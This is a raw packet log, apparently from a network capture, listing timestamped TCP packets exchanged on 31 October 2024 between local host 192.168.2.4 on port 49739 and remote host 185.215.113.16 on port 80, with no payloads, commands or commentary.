Oct 31, 2024 23:37:20.196527958 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196537018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196542978 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196549892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196561098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196569920 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196572065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196583986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196587086 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196597099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196607113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196618080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196629047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196631908 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196640968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196650982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196660042 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196660995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196672916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196674109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196696043 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196711063 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196754932 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196767092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196775913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196788073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196799040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196803093 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196819067 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196898937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196908951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196919918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196930885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196938038 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196943045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196949959 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196954012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196976900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196980000 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196989059 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197000980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197011948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197017908 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197024107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197027922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197060108 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197112083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197123051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197137117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197148085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197155952 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197159052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197170973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197182894 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197196960 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197226048 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197227955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197241068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197252035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197262049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197272062 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197279930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197288990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197292089 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197312117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197315931 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197324038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197335005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197355032 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197375059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197765112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197885036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197894096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197904110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197913885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.197951078 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197951078 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.197967052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198004007 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198101997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198117971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198127985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198144913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198153973 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198158026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198168993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198174953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198179007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198189974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198199987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198206902 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198209047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198220968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198223114 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198231936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198242903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198246002 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198275089 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198338032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198348999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198359966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198370934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198369026 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198393106 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198401928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198412895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198419094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198435068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198446035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198447943 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198458910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198467970 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198472023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198487043 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198512077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198631048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198642015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198651075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198668003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198678970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198684931 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198689938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198702097 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198712111 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198712111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198724031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198729992 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198734999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198750019 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198756933 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198767900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198770046 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198779106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198790073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198800087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198811054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198816061 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198822021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198833942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198837996 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198846102 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198859930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198880911 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198889017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198899984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198905945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198911905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198932886 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.198964119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198976040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.198995113 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199074030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199110985 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199111938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199244022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199254036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199270010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199276924 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199280977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199291945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199302912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199302912 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199321032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199331045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199335098 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199343920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199354887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199364901 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199366093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199384928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199387074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199395895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199408054 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199408054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199419975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199430943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199434042 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199450016 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199501038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199512959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199522972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.199541092 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.199569941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200114012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200169086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200180054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200210094 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200231075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200242996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200253010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200264931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200268030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200278044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200292110 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200314999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200315952 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200326920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200336933 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200347900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200361967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200368881 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200373888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200396061 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200418949 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200529099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200540066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200568914 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200601101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200613022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200659990 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200685978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200696945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200707912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200726986 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200908899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200920105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200928926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200938940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200952053 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200956106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200957060 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200968027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200978994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.200984001 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.200989962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201003075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201013088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201026917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201054096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201055050 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201065063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201076031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201085091 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201085091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201116085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201250076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201261044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201271057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201281071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201294899 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201298952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201309919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201318026 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201320887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201332092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201343060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201344967 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201349974 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201354027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201364994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201375961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201378107 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201386929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201399088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201404095 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201420069 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201436996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201448917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201459885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.201468945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.201500893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.242446899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242459059 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242469072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242496967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242505074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.242508888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242521048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242532015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242533922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.242556095 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.242588997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242605925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242615938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242634058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242635965 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.242645979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242652893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.242659092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242671013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242686987 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.242700100 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.242722988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242734909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242746115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242757082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.242775917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.242799997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.289093018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.289153099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.289190054 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310172081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310183048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310193062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310209990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310220003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310231924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310234070 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310244083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310255051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310256958 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310280085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310281992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310293913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310296059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310331106 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310446978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310458899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310468912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310478926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310491085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310491085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310508966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310518980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310528994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310540915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310550928 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310551882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310578108 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310652018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310662985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310672998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310692072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310703993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310789108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310800076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310810089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310821056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310832024 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310837030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310849905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310858011 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.310883045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.310899973 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311062098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311079979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311100960 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.311132908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311144114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.311156034 CET	80	49739	185.215.113.16	192.168.2.4
